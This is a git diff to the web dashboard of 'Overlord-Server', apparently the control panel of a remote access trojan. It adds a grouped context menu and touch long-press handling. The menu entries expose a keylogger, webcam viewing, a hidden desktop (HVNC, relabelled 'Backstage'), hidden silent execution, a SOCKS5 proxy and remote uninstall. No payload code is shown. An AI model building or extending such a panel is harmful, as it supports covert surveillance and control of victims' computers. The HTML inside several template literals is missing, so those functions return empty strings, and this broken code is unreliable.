diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css index b66cc47..09ca346 100644 --- a/Overlord-Server/public/assets/main.css +++ b/Overlord-Server/public/assets/main.css @@ -649,6 +649,18 @@ p { border-color: rgba(255, 99, 99, 0.2); } +#command-menu .menu-group-toggle { + transition: background-color 0.16s ease; +} + +#command-menu .menu-group-chevron { + transition: transform 0.18s ease; +} + +#command-menu .menu-group-toggle[aria-expanded="false"] .menu-group-chevron { + transform: rotate(-90deg); +} + .pagination { display: flex; align-items: center; @@ -703,13 +715,23 @@ p { max-height: calc(100vh - 20px); overflow-y: auto; font-size: 14px; + padding: 10px; + border-radius: 14px; } #command-menu button { - padding: 10px 12px; + padding: 11px 12px; font-size: 14px; } + #command-menu .menu-group { + border-radius: 12px; + } + + #command-menu .menu-group-body { + gap: 6px; + } + #command-menu i { font-size: 14px; } diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index fe2fbd7..fc7c44a 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -122,8 +122,8 @@ function applyMenuSupportRules(clientId) { btn.title = enabled ? "" : reason; }; - const hvncBtn = menu.querySelector('[data-open="hvnc"]'); - setAvailability(hvncBtn, isWindows, "HVNC is only supported on Windows clients."); + const hvncBtn = menu.querySelector('[data-open="Backstage"]'); + setAvailability(hvncBtn, isWindows, "Backstage is only supported on Windows clients."); const webcamBtn = menu.querySelector('[data-open="webcam"]'); setAvailability(webcamBtn, isWindows, "Webcam viewer is only supported on Windows clients."); @@ -621,6 +621,7 @@ window.addEventListener("click", (e) => { menu.addEventListener("click", async (e) => { const target = e.target.closest("button"); if (!target || !contextCard) return; + if (target.dataset.groupToggle) return; if (target.disabled || target.getAttribute("aria-disabled") === "true") { return; } @@ -667,7 +668,7 @@ menu.addEventListener("click", async (e) => { closeMenu(clearContext); return; } - if (open === "hvnc") { + if (open === "Backstage") { window.open(`/hvnc?clientId=${contextCard}`, "_blank", "noopener"); closeMenu(clearContext); return; diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js index 80b71b9..8007c5b 100644 --- a/Overlord-Server/public/assets/render.js +++ b/Overlord-Server/public/assets/render.js @@ -28,6 +28,8 @@ export function createRenderer({ const isViewer = userRole === "viewer"; const MAX_ANIMATED_CARDS = 120; const INSERT_BATCH_SIZE = 40; + const TOUCH_LONG_PRESS_MS = 520; + const TOUCH_MOVE_CANCEL_PX = 10; let renderToken = 0; function renderMerge(data) { @@ -128,6 +130,18 @@ export function createRenderer({ const card = document.createElement("article"); card.dataset.id = client.id; card.dataset.hwid = client.hwid || ""; + let longPressTimer = null; + let longPressTriggered = false; + let pointerStartX = 0; + let pointerStartY = 0; + + const clearLongPress = () => { + if (longPressTimer) { + clearTimeout(longPressTimer); + longPressTimer = null; + } + }; + updateCard(card, client); card.addEventListener("contextmenu", (e) => { e.preventDefault(); @@ -138,6 +152,35 @@ export function createRenderer({ openMenu(clientId, clientX, clientY); }); + card.addEventListener("pointerdown", (e) => { + if (isViewer || e.pointerType !== "touch") return; + if (e.target.closest("button") || e.target.closest(".client-checkbox")) return; + const clientId = card.dataset.id; + if (!clientId) return; + + longPressTriggered = false; + pointerStartX = e.clientX; + pointerStartY = e.clientY; + clearLongPress(); + longPressTimer = setTimeout(() => { + longPressTriggered = true; + openMenu(clientId, e.clientX, e.clientY); + }, TOUCH_LONG_PRESS_MS); + }); + + card.addEventListener("pointermove", (e) => { + if (!longPressTimer || e.pointerType !== "touch") return; + const movedX = Math.abs(e.clientX - pointerStartX); + const movedY = Math.abs(e.clientY - pointerStartY); + if (movedX > TOUCH_MOVE_CANCEL_PX || movedY > TOUCH_MOVE_CANCEL_PX) { + clearLongPress(); + } + }); + + card.addEventListener("pointerup", clearLongPress); + card.addEventListener("pointercancel", clearLongPress); + card.addEventListener("pointerleave", clearLongPress); + if (options.animate) { card.classList.add("card-animate"); card.style.animationDelay = `${(options.delayIndex || 0) * 0.05}s`; @@ -274,6 +317,12 @@ export function createRenderer({ ?.addEventListener("click", () => openModal(client.thumbnail)); card.onclick = (e) => { + if (longPressTriggered) { + longPressTriggered = false; + e.preventDefault(); + e.stopPropagation(); + return; + } if (e.target.closest(".command-btn") || e.target.closest("button")) return; if (e.target.closest(".client-checkbox")) return; diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js index 74a6485..b8074c7 100644 --- a/Overlord-Server/public/assets/ui.js +++ b/Overlord-Server/public/assets/ui.js @@ -1,34 +1,291 @@ +// ── Context menu data ───────────────────────────────────────────────────────── +const MENU_GROUPS = [ + { + id: "remote-access", + label: "Remote Access", + icon: "fa-solid fa-plug", + color: "text-indigo-400", + items: [ + { label: "Console", icon: "fa-solid fa-terminal", icolor: "text-emerald-400", open: "console" }, + { label: "Remote Desktop", icon: "fa-solid fa-desktop", icolor: "text-purple-400", open: "remotedesktop" }, + { label: "Backstage", icon: "fa-solid fa-ghost", icolor: "text-violet-400", open: "Backstage" }, + { label: "Voice", icon: "fa-solid fa-headset", icolor: "text-teal-400", open: "voice" }, + ], + }, + { + id: "monitoring", + label: "Monitoring", + icon: "fa-solid fa-eye", + color: "text-cyan-400", + items: [ + { label: "Webcam", icon: "fa-solid fa-video", icolor: "text-emerald-400", open: "webcam" }, + { label: "Keylogger", icon: "fa-solid fa-keyboard", icolor: "text-yellow-400", open: "keylogger" }, + { label: "Process Manager", icon: "fa-solid fa-list-check", icolor: "text-orange-400", open: "processes" }, + ], + }, + { + id: "system", + label: "System", + icon: "fa-solid fa-server", + color: "text-blue-400", + items: [ + { label: "File Browser", icon: "fa-solid fa-folder-tree", icolor: "text-blue-400", open: "files" }, + { label: "SOCKS5 Proxy", icon: "fa-solid fa-network-wired", icolor: "text-sky-400", open: "proxy" }, + { label: "Execution", icon: "fa-solid fa-rocket", icolor: "text-cyan-400", open: "silent-exec", id: "menu-silent-exec", hidden: true }, + ], + }, + { + id: "agent", + label: "Agent", + icon: "fa-solid fa-robot", + color: "text-slate-400", + items: [ + { label: "Ping", icon: "fa-solid fa-satellite-dish", icolor: "text-slate-300", action: "ping" }, + { label: "Reconnect", icon: "fa-solid fa-rotate", icolor: "text-slate-300", action: "reconnect" }, + { label: "Set Nickname", icon: "fa-solid fa-signature", icolor: "text-slate-300", action: "set-nickname" }, + { divider: true }, + { label: "Disconnect", icon: "fa-solid fa-plug-circle-xmark", icolor: "text-red-400", action: "disconnect" }, + { label: "Uninstall", icon: "fa-solid fa-trash", icolor: "text-red-300", action: "uninstall" }, + { label: "Remove From Dashboard", icon: "fa-solid fa-user-xmark", icolor: "text-rose-300", action: "remove-dashboard" }, + ], + }, +]; + +// ── Styles ──────────────────────────────────────────────────────────────────── +const menuStyle = document.createElement("style"); +menuStyle.textContent = ` +#command-menu { + position: fixed; + display: none; + flex-direction: row; + align-items: flex-start; + z-index: 9999; + filter: drop-shadow(0 8px 40px rgba(0,0,0,0.7)); +} +#ctx-main { + background: #141c2b; + border: 1px solid rgba(148,163,184,0.14); + border-radius: 8px; + padding: 4px; + min-width: 196px; + display: flex; + flex-direction: column; + gap: 1px; + position: relative; +} +#ctx-sub { + background: #141c2b; + border: 1px solid rgba(148,163,184,0.14); + border-radius: 8px; + padding: 4px; + min-width: 188px; + position: absolute; + left: calc(100% + 5px); + top: 0; + display: none; + flex-direction: column; + gap: 1px; + z-index: 1; +} +.ctx-row { + display: flex; + align-items: center; + gap: 9px; + width: 100%; + padding: 7px 10px; + border-radius: 5px; + font-size: 13px; + font-weight: 500; + color: #cbd5e1; + background: transparent; + border: none; + cursor: pointer; + text-align: left; + white-space: nowrap; + user-select: none; + -webkit-user-select: none; + transition: background 0.1s, color 0.1s; +} +.ctx-row:hover, +.ctx-row.ctx-active { + background: rgba(71,85,105,0.55); + color: #f1f5f9; +} +.ctx-row.ctx-active .ctx-chevron { + opacity: 1; +} +.ctx-item { + display: flex; + align-items: center; + gap: 9px; + width: 100%; + padding: 7px 10px; + border-radius: 5px; + font-size: 13px; + font-weight: 500; + color: #cbd5e1; + background: transparent; + border: none; + cursor: pointer; + text-align: left; + white-space: nowrap; + user-select: none; + -webkit-user-select: none; + transition: background 0.1s, color 0.1s; +} +.ctx-item:hover:not([disabled]):not([aria-disabled="true"]) { + background: rgba(71,85,105,0.55); + color: #f1f5f9; +} +.ctx-item[disabled], +.ctx-item[aria-disabled="true"] { + opacity: 0.38; + cursor: not-allowed; +} +.ctx-divider { + height: 1px; + background: rgba(148,163,184,0.13); + margin: 3px 4px; +} +.ctx-sub-panel { + display: none; + flex-direction: column; + gap: 1px; +} +.ctx-icon { + width: 16px; + text-align: center; + flex-shrink: 0; + font-size: 13px; +} +.ctx-chevron { + margin-left: auto; + font-size: 10px; + opacity: 0.4; + transition: opacity 0.1s; + flex-shrink: 0; +} +/* Allow classList.add/remove("hidden") to work on items inside the menu */ +#command-menu .hidden { display: none !important; } +/* Mobile: stack submenu below the main column */ +@media (max-width: 600px) { + #command-menu { flex-direction: column; max-width: calc(100vw - 16px); } + #ctx-sub { position: static; margin-top: 0; min-width: 0; width: 100%; border-radius: 0 0 8px 8px; border-top: 1px solid rgba(148,163,184,0.08); left: auto; right: auto; } + #ctx-main { border-radius: 8px 8px 0 0; } +} +`; +document.head.appendChild(menuStyle); + +// ── Build DOM ───────────────────────────────────────────────────────────────── +function buildItemHTML(item) { + if (item.divider) return `
`; + const dataAttr = item.open ? `data-open="${item.open}"` : `data-action="${item.action}"`; + const idAttr = item.id ? `id="${item.id}"` : ""; + const styleAttr = item.hidden ? `style="display:none"` : ""; + return ``; +} + +const mainRowsHTML = + MENU_GROUPS.map(g => + `` + ).join("") + + `` + + ``; + +const subPanelsHTML = + MENU_GROUPS.map(g => + `